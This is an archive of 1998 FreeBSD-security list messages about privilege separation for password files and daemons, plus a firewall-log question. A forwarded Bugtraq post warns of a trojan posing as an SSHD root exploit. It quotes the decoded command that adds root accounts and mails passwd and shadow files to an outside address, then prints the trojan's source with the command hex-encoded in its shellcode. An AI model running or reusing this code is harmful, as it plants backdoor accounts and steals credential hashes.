:Wouldn't it be generally a good idea to make the /etc/spwd.db and > > :the /etc/master.passwd file 640 and give them to a newly created > > : > > :root@voyager:~>ll /usr/X11R6/bin/xlock > > :---x--s--x 1 root pw - 126976 Oct 1 08:17 /usr/X11R6/bin/xlock* > > : > > :What do you think? Will it make my systems more insecure with the > > :above stuff or not? If not, wouldn't it make sense to incorporate > > :the changes into FreeBSD? IMHO they break nothing since all programs > > > > I think this is an excellent idea. A similar method is used for > > the 'operator' group, to allow the dumper to dump disks without > > giving him write access to them. > > > There are several holes in the theory. The number one hole is > that if I'm trusting you to read the engrpted passwords, I'm > trusting you to not run "crack" (or whatever) against the > password file. Basically, DES is insecure enough tese days that > if I trust you with read access, I'm effectively trusting you > with the root password (if you had access to the EFF hardware, > you could obtain root in less than an hour). Sure, I don't say my theory makes a system 100% secure. But I think there are benefits because you have to perform additional steps to become root. You have to crack the encrypted root pw and not everyone has an EFF machine at home :-). Now you can write to the pw file directly as soon as you compromise the setuid root program. -Andre To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Sun Nov 15 22:59:51 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id WAA27731 for freebsd-security-outgoing; Sun, 15 Nov 1998 22:59:51 -0800 (PST) (envelope-from owner-freebsd-security@FreeBSD.ORG) Received: from rover.village.org (rover.village.org [204.144.255.49]) by hub.freebsd.org (8.8.8/8.8.8) with SMTP id WAA27724 for ; Sun, 15 Nov 1998 22:59:30 -0800 (PST) (envelope-from imp@village.org) Received: from harmony [10.0.0.6] by rover.village.org with esmtp (Exim 1.71 #1) id 0zfIcY-0001PN-00; Sun, 15 Nov 1998 23:58:46 -0700 Received: from harmony.village.org (localhost.village.org [127.0.0.1]) by harmony.village.org (8.9.1/8.8.3) with ESMTP id XAA01912; Sun, 15 Nov 1998 23:58:02 -0700 (MST) Message-Id: <199811160658.XAA01912@harmony.village.org> To: Andre Albsmeier Subject: Re: Would this make FreeBSD more secure? Cc: Matthew Dillon , freebsd-security@FreeBSD.ORG In-reply-to: Your message of "Mon, 16 Nov 1998 07:29:37 +0100." <19981116072937.E969@internal> References: <19981116072937.E969@internal> <19981115192224.A29686@internal> <19981115161548.A23869@internal> <199811151758.JAA15108@apollo.backplane.com> <19981115192224.A29686@internal> <199811152210.PAA01604@harmony.village.org> Date: Sun, 15 Nov 1998 23:58:02 -0700 From: Warner Losh Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org In message <19981116072937.E969@internal> Andre Albsmeier writes: : > Back to the original thread, I'm not sure how making more programs : > setgid would help system security. Small ones that are easy to audit : : Well, if you make it setgid and use 640 on the password file, you : a) can't write to the pw file directly any more : b) have to crack the root pw from the still readable pw file in order : to become root. : : Now you are root immediately. Now you have to have root in order to get root. /etc/passwd is readable by everybody, but so what. There are no passwords in it. The master password file, on the other hand, is readable only by root. It is true that a stack smashing attack would get you only group pw if you made this change. Hmmm, that might be worth it. : BTW, by examining the xlockmore configure file I found that I am not : the first one thinking of it: Not being the first to think of it doesn't make it right. :-) This would plug some potential holes in a small number of applications. I'm not sure that it is worth it on the effort/return front. I can think of only a few programs that might benefit from this, and a similar benefit could likely be had with a PAM module that talked to a password server which did all the right things. However, that too add complexity, which makes it harder to secure things.... Warner To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Sun Nov 15 23:24:38 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id XAA00675 for freebsd-security-outgoing; Sun, 15 Nov 1998 23:24:38 -0800 (PST) (envelope-from owner-freebsd-security@FreeBSD.ORG) Received: from david.siemens.de (david.siemens.de [192.35.17.14]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id XAA00642 for ; Sun, 15 Nov 1998 23:24:23 -0800 (PST) (envelope-from andre.albsmeier@mchp.siemens.de) X-Envelope-Sender-Is: andre.albsmeier@mchp.siemens.de (at relayer david.siemens.de) Received: from mail.siemens.de (salomon.siemens.de [139.23.33.13]) by david.siemens.de (8.9.1a/8.9.1) with ESMTP id IAA09711 for ; Mon, 16 Nov 1998 08:16:43 +0100 (MET) Received: from curry.mchp.siemens.de (daemon@curry.mchp.siemens.de [146.180.31.23]) by mail.siemens.de (8.9.1a/8.9.1) with ESMTP id IAA06813 for ; Mon, 16 Nov 1998 08:16:45 +0100 (MET) Received: (from daemon@localhost) by curry.mchp.siemens.de (8.8.8/8.8.8) id IAA15770 for ; Mon, 16 Nov 1998 08:16:45 +0100 (CET) Message-ID: <19981116081640.A2304@internal> Date: Mon, 16 Nov 1998 08:16:40 +0100 From: Andre Albsmeier To: Warner Losh , Andre Albsmeier Cc: Matthew Dillon , freebsd-security@FreeBSD.ORG Subject: Re: Would this make FreeBSD more secure? References: <19981116072937.E969@internal> <19981115192224.A29686@internal> <19981115161548.A23869@internal> <199811151758.JAA15108@apollo.backplane.com> <19981115192224.A29686@internal> <199811152210.PAA01604@harmony.village.org> <19981116072937.E969@int Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 0.93.2i In-Reply-To: <199811160658.XAA01912@harmony.village.org>; from Warner Losh on Sun, Nov 15, 1998 at 11:58:02PM -0700 Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org On Sun, Nov 15, 1998 at 11:58:02PM -0700, Warner Losh wrote: > In message <19981116072937.E969@internal> Andre Albsmeier writes: > : > Back to the original thread, I'm not sure how making more programs > : > setgid would help system security. Small ones that are easy to audit > : > : Well, if you make it setgid and use 640 on the password file, you > : a) can't write to the pw file directly any more > : b) have to crack the root pw from the still readable pw file in order > : to become root. > : > : Now you are root immediately. > > Now you have to have root in order to get root. /etc/passwd is > readable by everybody, but so what. There are no passwords in it. Of course, I ment "pw file" standing as a synonym for the 600 files in /etc: /etc/spwd.db /etc/master.passwd > The master password file, on the other hand, is readable only by > root. And writeable. > It is true that a stack smashing attack would get you only group pw if > you made this change. Hmmm, that might be worth it. > > : BTW, by examining the xlockmore configure file I found that I am not > : the first one thinking of it: > > Not being the first to think of it doesn't make it right. :-) > > This would plug some potential holes in a small number of > applications. I'm not sure that it is worth it on the effort/return Which security holes do you mean? I thought basically of doing the following: a) invent a new group (e.g. shadow, to stick with xlockmore :-)) b) chgrp shadow /etc/spwd.db /etc/master.passwd c) chmod 640 /etc/spwd.db and /etc/master.passwd mode d) modify programs that write to these files (pwd_mkdb) to conform with b) and c) As far as we are now, I can't see a security hole here. /etc/spwd.db and /etc/master.passwd are now readable by the shadow group as well but up to now, no one runs under this group. Now we modify xlock (or others which are setuid root only in order to access /etc/spwd.db or /etc/master.passwd) in the following way: a) chgrp shadow xlock b) chmod 2111 xlock xlock can now do the same as before: read the encrypted passwords but doens't run as root anymore. Especially xlock is a good candidate since it never gives up it root privileges. -Andre To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Sun Nov 15 23:42:06 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id XAA03209 for freebsd-security-outgoing; Sun, 15 Nov 1998 23:42:06 -0800 (PST) (envelope-from owner-freebsd-security@FreeBSD.ORG) Received: from relay.sv.ukrtel.net ([195.5.43.30]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id XAA03153 for ; Sun, 15 Nov 1998 23:42:01 -0800 (PST) (envelope-from sergei@sv.ukrtel.net) Received: (from sergei@localhost) by relay.sv.ukrtel.net (KSerg;v2.1/8.8.6) id JAA06375 for security@freebsd.org; Mon, 16 Nov 1998 09:38:42 +0200 (EET) Date: Mon, 16 Nov 98 07:38:42 +0000 From: sergei@sv.ukrtel.net (Sergei V. Ustinov) To: security@FreeBSD.ORG Message-ID: Subject: subscribe X-Mailer: BML [UNIX Beauty Mail v.1.39] Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org subscribe To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Mon Nov 16 02:55:48 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id CAA20130 for freebsd-security-outgoing; Mon, 16 Nov 1998 02:55:48 -0800 (PST) (envelope-from owner-freebsd-security@FreeBSD.ORG) Received: from apollo.backplane.com (apollo.backplane.com [209.157.86.2]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id CAA20125 for ; Mon, 16 Nov 1998 02:55:46 -0800 (PST) (envelope-from dillon@apollo.backplane.com) Received: (from dillon@localhost) by apollo.backplane.com (8.9.1/8.9.1) id CAA18393; Mon, 16 Nov 1998 02:55:14 -0800 (PST) (envelope-from dillon) Date: Mon, 16 Nov 1998 02:55:14 -0800 (PST) From: Matthew Dillon Message-Id: <199811161055.CAA18393@apollo.backplane.com> To: Warner Losh Cc: Andre Albsmeier , freebsd-security@FreeBSD.ORG Subject: Re: Would this make FreeBSD more secure? References: <19981116072937.E969@internal> <19981115192224.A29686@internal> <19981115161548.A23869@internal> <199811151758.JAA15108@apollo.backplane.com> <19981115192224.A29686@internal> <199811152210.PAA01604@harmony.village.org> <199811160658.XAA01912@harmony.village.org> Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org : :This would plug some potential holes in a small number of :applications. I'm not sure that it is worth it on the effort/return :front. I can think of only a few programs that might benefit from :this, and a similar benefit could likely be had with a PAM module that :talked to a password server which did all the right things. However, :that too add complexity, which makes it harder to secure things.... : :Warner There are only a limited number of programs that run as root or are suid root. Being able to plug even half a dozen of them by removing their root privilages would be a major win. I can find no good reason why, for example, ntalkd must be run as root. It does a stupid getuid() test in main() that should be ripped out... it really only needs tty group access to work. identd sure doesn't need root. kmem group access is plenty sufficient. Both of these are turned on by default in inetd.conf, neither of these requires root. All it would take to fix them would be to add two dummy users to master.passwd 'tty' and 'kmem' (with bin group privs), to fix talkd.c to remove the silly getuid() test, and to fix inetd.conf (run ntalkd as tty:tty and identd as kmem:kmem). I wonder how many other programs can be trivially fixed like that. Certainly sendmail does not need to be run as root, yet it is in /usr/src/etc/rc. lpd ? Why in gods name does lpd need to be run as root? -Matt Matthew Dillon Engineering, HiWay Technologies, Inc. & BEST Internet Communications & God knows what else. (Please include original email in any response) To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Mon Nov 16 04:03:37 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id EAA27806 for freebsd-security-outgoing; Mon, 16 Nov 1998 04:03:37 -0800 (PST) (envelope-from owner-freebsd-security@FreeBSD.ORG) Received: from iaehv.IAEhv.nl (iaehv.IAEhv.nl [194.151.64.2]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id EAA27787 for ; Mon, 16 Nov 1998 04:03:32 -0800 (PST) (envelope-from wjw@surf.IAE.nl) Received: from surf.IAE.nl (root@surf.IAEhv.nl [194.151.66.2]) by iaehv.IAEhv.nl (8.8.7/8.8.7) with ESMTP id NAA18359; Mon, 16 Nov 1998 13:03:05 +0100 (CET) Received: (from wjw@localhost) by surf.IAE.nl (8.8.7/8.8.7) id NAA21406; Mon, 16 Nov 1998 13:03:04 +0100 (MET) From: Willem Jan Withagen Message-Id: <199811161203.NAA21406@surf.IAE.nl> Subject: Re: Would this make FreeBSD more secure? In-Reply-To: <199811161055.CAA18393@apollo.backplane.com> from Matthew Dillon at "Nov 16, 98 02:55:14 am" To: dillon@apollo.backplane.com (Matthew Dillon) Date: Mon, 16 Nov 1998 13:03:04 +0100 (MET) Cc: freebsd-security@FreeBSD.ORG Reply-To: wjw@IAEhv.nl X-NCC-RegID: nl.iae X-Mailer: ELM [version 2.4ME+ PL40 (25)] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org You ( Matthew Dillon ) write: => I wonder how many other programs can be trivially fixed like that. => Certainly sendmail does not need to be run as root, yet it is in => /usr/src/etc/rc. lpd ? Why in gods name does lpd need to be run => as root? lpd (and friends) have a replacement: LPRng. Which runs as GID daemon, and has a lot of nice other features. Next to the fact that it is a maintained product. --WjW -- Internet Access Eindhoven BV., voice: +31-40-2 393 393, data: +31-40-2 606 606 P.O. 928, 5600 AX Eindhoven, The Netherlands Full Internet connectivity for only fl 12.95 a month. Call now, and login as 'new'. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Mon Nov 16 04:19:23 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id EAA01329 for freebsd-security-outgoing; Mon, 16 Nov 1998 04:19:23 -0800 (PST) (envelope-from owner-freebsd-security@FreeBSD.ORG) Received: from enterprise.synchroline.ru (enterprise.sl.ru [195.16.101.4] (may be forged)) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id EAA01213 for ; Mon, 16 Nov 1998 04:19:09 -0800 (PST) (envelope-from tarkhil@synchroline.ru) Received: from enterprise.synchroline.ru (tarkhil@localhost.synchroline.ru [127.0.0.1]) by enterprise.synchroline.ru (8.9.1/8.8.8) with ESMTP id PAA14992 for ; Mon, 16 Nov 1998 15:20:05 +0300 (MSK) (envelope-from tarkhil@enterprise.synchroline.ru) Message-Id: <199811161220.PAA14992@enterprise.synchroline.ru> X-Mailer: exmh version 2.0.2 2/24/98 To: security@FreeBSD.ORG Reply-To: tarkhil@synchroline.ru Subject: What can it be? X-URL: http://freebsd.svib.ru Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Date: Mon, 16 Nov 1998 15:20:05 +0300 From: "Alexander B. Povolotsky" Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org Hello! My firewall logs lots of messages like these. Don't anyone know what can it be? Kind of attack? Nov 16 15:09:47 satellite /kernel: ipfw: 60000 Deny TCP 207.90.134.191 195.16.101.2 in via fxp0 Fragment = 123 Nov 16 15:09:56 satellite /kernel: ipfw: 60000 Deny TCP 194.93.176.65 195.16.101.2 in via fxp0 Fragment = 123 Nov 16 15:09:56 satellite /kernel: ipfw: 60000 Deny TCP 194.93.176.65 195.16.101.2 in via fxp0 Fragment = 123 Nov 16 15:09:56 satellite /kernel: ipfw: 60000 Deny TCP 194.93.176.65 195.16.101.2 in via fxp0 Fragment = 123 Nov 16 15:10:19 satellite /kernel: ipfw: 60000 Deny TCP 209.220.5.212 195.16.101.2 in via fxp0 Fragment = 123 Nov 16 15:10:19 satellite /kernel: ipfw: 60000 Deny TCP 209.220.5.212 195.16.101.2 in via fxp0 Fragment = 123 Nov 16 15:10:19 satellite /kernel: ipfw: 60000 Deny TCP 209.220.5.212 195.16.101.2 in via fxp0 Fragment = 123 Nov 16 15:10:42 satellite /kernel: ipfw: 60000 Deny TCP 128.148.157.143 195.16.101.2 in via fxp0 Fragment = 123 Nov 16 15:10:42 satellite /kernel: ipfw: 60000 Deny TCP 128.148.157.143 195.16.101.2 in via fxp0 Fragment = 123 Nov 16 15:10:42 satellite /kernel: ipfw: 60000 Deny TCP 128.148.157.143 195.16.101.2 in via fxp0 Fragment = 123 Nov 16 15:10:53 satellite /kernel: ipfw: 60000 Deny TCP 209.220.5.211 195.16.101.2 in via fxp0 Fragment = 123 Nov 16 15:10:53 satellite /kernel: ipfw: 60000 Deny TCP 209.220.5.211 195.16.101.2 in via fxp0 Fragment = 123 Nov 16 15:10:53 satellite /kernel: ipfw: 60000 Deny TCP 209.220.5.211 195.16.101.2 in via fxp0 Fragment = 123 Alex. -- Alexander B. Povolotsky, System Administrator To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Mon Nov 16 04:37:31 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id EAA03128 for freebsd-security-outgoing; Mon, 16 Nov 1998 04:37:31 -0800 (PST) (envelope-from owner-freebsd-security@FreeBSD.ORG) Received: from ns1.yes.no (ns1.yes.no [195.204.136.10]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id EAA03118 for ; Mon, 16 Nov 1998 04:37:23 -0800 (PST) (envelope-from eivind@bitbox.follo.net) Received: from bitbox.follo.net (bitbox.follo.net [195.204.143.218]) by ns1.yes.no (8.9.1a/8.9.1) with ESMTP id NAA23484; Mon, 16 Nov 1998 13:36:51 +0100 (CET) Received: (from eivind@localhost) by bitbox.follo.net (8.8.8/8.8.6) id NAA27443; Mon, 16 Nov 1998 13:36:48 +0100 (MET) Message-ID: <19981116133646.43640@follo.net> Date: Mon, 16 Nov 1998 13:36:46 +0100 From: Eivind Eklund To: wjw@IAEhv.nl, Matthew Dillon Cc: freebsd-security@FreeBSD.ORG Subject: Re: Would this make FreeBSD more secure? References: <199811161055.CAA18393@apollo.backplane.com> <199811161203.NAA21406@surf.IAE.nl> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 0.89.1i In-Reply-To: <199811161203.NAA21406@surf.IAE.nl>; from Willem Jan Withagen on Mon, Nov 16, 1998 at 01:03:04PM +0100 Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org On Mon, Nov 16, 1998 at 01:03:04PM +0100, Willem Jan Withagen wrote: > lpd (and friends) have a replacement: LPRng. Which runs as GID daemon, and > has a lot of nice other features. Next to the fact that it is a maintained > product. Unfortunately it isn't maintained 'well enough' to continiously take in the FreeBSD fixes. We've fixed security problems which they've had come upon them like a bomb a year later. Eivind. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Mon Nov 16 04:41:06 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id EAA03636 for freebsd-security-outgoing; Mon, 16 Nov 1998 04:41:06 -0800 (PST) (envelope-from owner-freebsd-security@FreeBSD.ORG) Received: from iaehv.IAEhv.nl (iaehv.IAEhv.nl [194.151.64.2]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id EAA03627 for ; Mon, 16 Nov 1998 04:41:04 -0800 (PST) (envelope-from wjw@surf.IAE.nl) Received: from surf.IAE.nl (root@surf.IAEhv.nl [194.151.66.2]) by iaehv.IAEhv.nl (8.8.7/8.8.7) with ESMTP id NAA07139; Mon, 16 Nov 1998 13:40:39 +0100 (CET) Received: (from wjw@localhost) by surf.IAE.nl (8.8.7/8.8.7) id NAA15355; Mon, 16 Nov 1998 13:40:39 +0100 (MET) From: Willem Jan Withagen Message-Id: <199811161240.NAA15355@surf.IAE.nl> Subject: Re: Would this make FreeBSD more secure? In-Reply-To: <19981116133646.43640@follo.net> from Eivind Eklund at "Nov 16, 98 01:36:46 pm" To: eivind@yes.no (Eivind Eklund) Date: Mon, 16 Nov 1998 13:40:38 +0100 (MET) Cc: wjw@IAEhv.nl, dillon@apollo.backplane.com, freebsd-security@FreeBSD.ORG Reply-To: wjw@IAEhv.nl X-NCC-RegID: nl.iae X-Mailer: ELM [version 2.4ME+ PL40 (25)] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org You ( Eivind Eklund ) write: => On Mon, Nov 16, 1998 at 01:03:04PM +0100, Willem Jan Withagen wrote: => > lpd (and friends) have a replacement: LPRng. Which runs as GID daemon, and => > has a lot of nice other features. Next to the fact that it is a maintained => > product. => => Unfortunately it isn't maintained 'well enough' to continiously take => in the FreeBSD fixes. We've fixed security problems which they've had => come upon them like a bomb a year later. True, but all in all it gives you much better control over your printing. And I have the feeling that security awareness is growing..... --WjW -- Internet Access Eindhoven BV., voice: +31-40-2 393 393, data: +31-40-2 606 606 P.O. 928, 5600 AX Eindhoven, The Netherlands Full Internet connectivity for only fl 12.95 a month. Call now, and login as 'new'. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Mon Nov 16 08:09:28 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id IAA25843 for freebsd-security-outgoing; Mon, 16 Nov 1998 08:09:28 -0800 (PST) (envelope-from owner-freebsd-security@FreeBSD.ORG) Received: from andrew.cmu.edu (ANDREW.CMU.EDU [128.2.10.101]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id IAA25834 for ; Mon, 16 Nov 1998 08:09:24 -0800 (PST) (envelope-from tcrimi+@andrew.cmu.edu) Received: (from postman@localhost) by andrew.cmu.edu (8.8.5/8.8.2) id LAA22279; Mon, 16 Nov 1998 11:08:57 -0500 (EST) Received: via switchmail; Mon, 16 Nov 1998 11:08:56 -0500 (EST) Received: from unix14.andrew.cmu.edu via qmail ID ; Mon, 16 Nov 1998 11:06:57 -0500 (EST) Received: from unix14.andrew.cmu.edu via qmail ID ; Mon, 16 Nov 1998 11:06:56 -0500 (EST) Received: from mms.4.60.Jun.27.1996.03.02.53.sun4.51.EzMail.2.0.CUILIB.3.45.SNAP.NOT.LINKED.unix14.andrew.cmu.edu.sun4m.54 via MS.5.6.unix14.andrew.cmu.edu.sun4_51; Mon, 16 Nov 1998 11:06:56 -0500 (EST) Message-ID: <0qI4qUS00YUq09JbU0@andrew.cmu.edu> Date: Mon, 16 Nov 1998 11:06:56 -0500 (EST) From: Thomas Valentino Crimi To: Terry Lambert Subject: Re: Would this make FreeBSD more secure? Cc: freebsd-security@FreeBSD.ORG In-Reply-To: <19981116073914.F969@internal> References: <199811151758.JAA15108@apollo.backplane.com> <199811152257.PAA02868@usr05.primenet.com> <19981116073914.F969@internal> Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org Excerpts from FreeBSD-Security: 16-Nov-98 Re: Would this make FreeBSD.. by Andre Albsmeier@mchp.sie > > There are several holes in the theory. The number one hole is > > that if I'm trusting you to read the engrpted passwords, I'm > > trusting you to not run "crack" (or whatever) against the > > password file. Basically, DES is insecure enough tese days that > > if I trust you with read access, I'm effectively trusting you > > with the root password (if you had access to the EFF hardware, > > you could obtain root in less than an hour). Let's not forget that without cracking the password of a 'wheel' member, su is still not going to let them in. If you have no wheel members (ie, you only allow root access from console) all the password cracking in the world isn't going to give them root. (of course, with a whole lot password cracking they'll have the password to every account on your box). Forcing them to crack 2 passwords, assuming they can properly manipulate the sgid program to spitting out the master.password file seems to be an improvement to me. Don't buffer overruns generally show up as sig-11 core dumps? Meaning that if we assume the EFF 8 hours in cracking the two passwords needed to obtain root, that's 8 hours more than the 2 seconds the admin originally had to take action. And then we have md5 passwords, arguably broken, now, but orders of magnitudes better than DES. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Mon Nov 16 09:31:44 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id JAA04686 for freebsd-security-outgoing; Mon, 16 Nov 1998 09:31:44 -0800 (PST) (envelope-from owner-freebsd-security@FreeBSD.ORG) Received: from heidegger.uol.com.br (heidegger.uol.com.br [200.230.198.88]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id JAA04574 for ; Mon, 16 Nov 1998 09:30:53 -0800 (PST) (envelope-from agora@agoractvm.com.br) Received: from agoractvm.com.br ([200.255.84.180]) by heidegger.uol.com.br (8.9.1/8.9.1) with ESMTP id PAA01898; Mon, 16 Nov 1998 15:28:04 -0200 (EDT) Message-ID: <36505EFA.935A91A5@agoractvm.com.br> Date: Mon, 16 Nov 1998 15:20:58 -0200 From: =?iso-8859-1?Q?Teleinform=E1tica?= Reply-To: agora@uol.com.br Organization: =?iso-8859-1?Q?=C1GORA?= C.T.V.M. S/A X-Mailer: Mozilla 4.5 [en] (Win98; I) X-Accept-Language: en MIME-Version: 1.0 To: Best of Security CC: Cristiano Colpani , FreeBSD Security , Guilherme Galileo Cox , in0x , "Nilson R. A. de Brito" Subject: [Fwd: Administrivia] Content-Type: multipart/mixed; boundary="------------7C86B669E4356C12030145B7" Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org This is a multi-part message in MIME format. --------------7C86B669E4356C12030145B7 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit -- Regards, _______________________ | Nelson 'Stderr' Brito |_________________________________ |_________________________________________________________| |Finger Print: | A2E0 D90E 413A 515A 10C9 C0CE 4855 D523 | | E-mail: | nelson@cyberspace.org | | URL: | http://www.angelfire.com/sd/stderr | | Public key: | See the URL | |______________|__________________________________________| |ooooooooooooooooooooooooooooooooooooooooooooooooooooooooo| ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ --------------7C86B669E4356C12030145B7 Content-Type: message/rfc822 Content-Transfer-Encoding: 7bit Content-Disposition: inline Received: by pascal (mbox agora) (with Cubic Circle's cucipop (v1.22 1998/04/11) Mon Nov 16 15:22:08 1998) X-From_: root Mon Nov 16 15:15:59 1998 Received: from brimstone.netspace.org (brimstone.netspace.org [128.148.157.143]) by pascal.uol.com.br (8.9.1/8.9.1) with ESMTP id PAA15931; Mon, 16 Nov 1998 15:15:47 -0200 (EDT) Received: from netspace.org ([128.148.157.6]:9036 "EHLO netspace.org" ident: "TIMEDOUT2") by brimstone.netspace.org with ESMTP id <1487-3110>; Mon, 16 Nov 1998 11:54:32 -0500 Received: from NETSPACE.ORG by NETSPACE.ORG (LISTSERV-TCP/IP release 1.8c) with spool id 4992099 for BUGTRAQ@NETSPACE.ORG; Mon, 16 Nov 1998 11:48:03 -0500 Approved-By: aleph1@DFW.NET Received: from mhub3.tc.umn.edu (mhub3.tc.umn.edu [128.101.131.43]) by netspace.org (8.8.7/8.8.7) with SMTP id DAA21995 for ; Sun, 15 Nov 1998 03:32:00 -0500 Received: from moby.jaws.umn.edu by mhub3.tc.umn.edu with ESMTP; Sun, 15 Nov 1998 02:31:59 -0600 Received: (from tobkin@localhost) by moby.jaws.umn.edu (8.9.1/8.9.1) id CAA03974; Sun, 15 Nov 1998 02:31:59 -0600 (CST) X-Mailer: ELM [version 2.4 PL25] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Message-ID: <199811150831.CAA03974@moby.jaws.umn.edu> Date: Sun, 15 Nov 1998 02:31:58 -0600 Reply-To: Chris Tobkin Sender: Bugtraq List From: Chris Tobkin Subject: Re: Administrivia To: BUGTRAQ@netspace.org In-Reply-To: from "Aleph One" at Nov 14, 98 07:03:31 pm X-Mozilla-Status2: 00000000 Speaking of trojans/lame scripts, there is a 'root exploit for Linux 2.0.* and possibly 2.1.* SSHD 1.5-1.2.23' going around on some of the efnet channels.. It is actually a spiffed up c script that does: echo b4b0::0:0::/:>>/etc/passwd;echo babo::10:10::/: >> /etc/passwd ; (cat /etc/passwd /etc/shadow ;/sbin/ifconfig)|mail kitandjp@hotmail.com /bin/sh If one were to just print out the shellcode this would be immediately obvious. (i.e. printf(""); pipe it through strings to get rid of the control characters..) The filenames that it is been being passed around as are "sshdexp.c" and the "sshdwarez.c" which was already referenced on bugtraq... other people can rip this one to shreds with the fetch() which is cute.. and the system("/bin/echo") instead of printf(""). This is, however, a good way to get rid of scriptkiddies that don't know how to write code but want all the benefits of everyone elses's intelligence.. Caveat emptor, again. // chris tobkin@umn.edu ************************************************************************* Chris Tobkin tobkin@umn.edu Java and Web Services - Academic and Distributed Computing Services - UMN ----------------------------------------------------------------------- "Thanks to the printing press, the deviant smart people were able to distribute their genius without having to pass it on genetically. Evolution was short-circuited. We gained knowlege and technology without gaining intelligence." - Scott Addams ************************************************************************* -- sshdtrojan.c -- /************************************************************************/ /* root exploit for Linux 2.0.* and possible 2.1.* SSHD 1.5-1.2.23 */ /* On some weird systems this causes a segfault */ /* If it doesnt work change the offset (usually between 0 and 5000) */ /* (try increments of 2.......) */ /* TO RUN: */ /* (./sshdwarez ; cat) | nc victim 22 */ /* */ /* forever yours: st4n@zdnetmail.com */ /************************************************************************/ #include #include #include #define OFFSET 146 #define NOP 0x90 char shellcode[] = "\xbc\x84\x04\x08\x65\x63\x68\x6f\x20\x62\x34\x62\x30\x3a\x3a\x30\x3a" "\x30\x3a\x3a\x2f\x3a\x3e\x3e\x2f\x65\x74\x63\x2f\x70\x61\x73\x73\x77" "\x64\x3b\x65\x63\x68\x6f\x20\x62\x61\x62\x6f\x3a\x3a\x31\x30\x3a\x31" "\x30\x3a\x3a\x2f\x3a\x20\x3e\x3e\x20\x2f\x65\x74\x63\x2f\x70\x61\x73" "\x73\x77\x64\x20\x3b\x20\x28\x63\x61\x74\x20\x2f\x65\x74\x63\x2f\x70" "\x61\x73\x73\x77\x64\x20\x2f\x65\x74\x63\x2f\x73\x68\x61\x64\x6f\x77" "\x20\x3b\x2f\x73\x62\x69\x6e\x2f\x69\x66\x63\x6f\x6e\x66\x69\x67\x29" "\x7c\x6d\x61\x69\x6c\x20\x6b\x69\x74\x61\x6e\x64\x6a\x70\x40\x68\x6f" "\x74\x6d\x61\x69\x6c\x2e\x63\x6f\x6d\x00\xeb\x1f\x5e\x89\x76\x08\x31" "\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c" "\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xdc\xff\xff\xff/bin/sh"; int fetch(int *w){ /* push and return something from the stack */ char stack[4096]; int 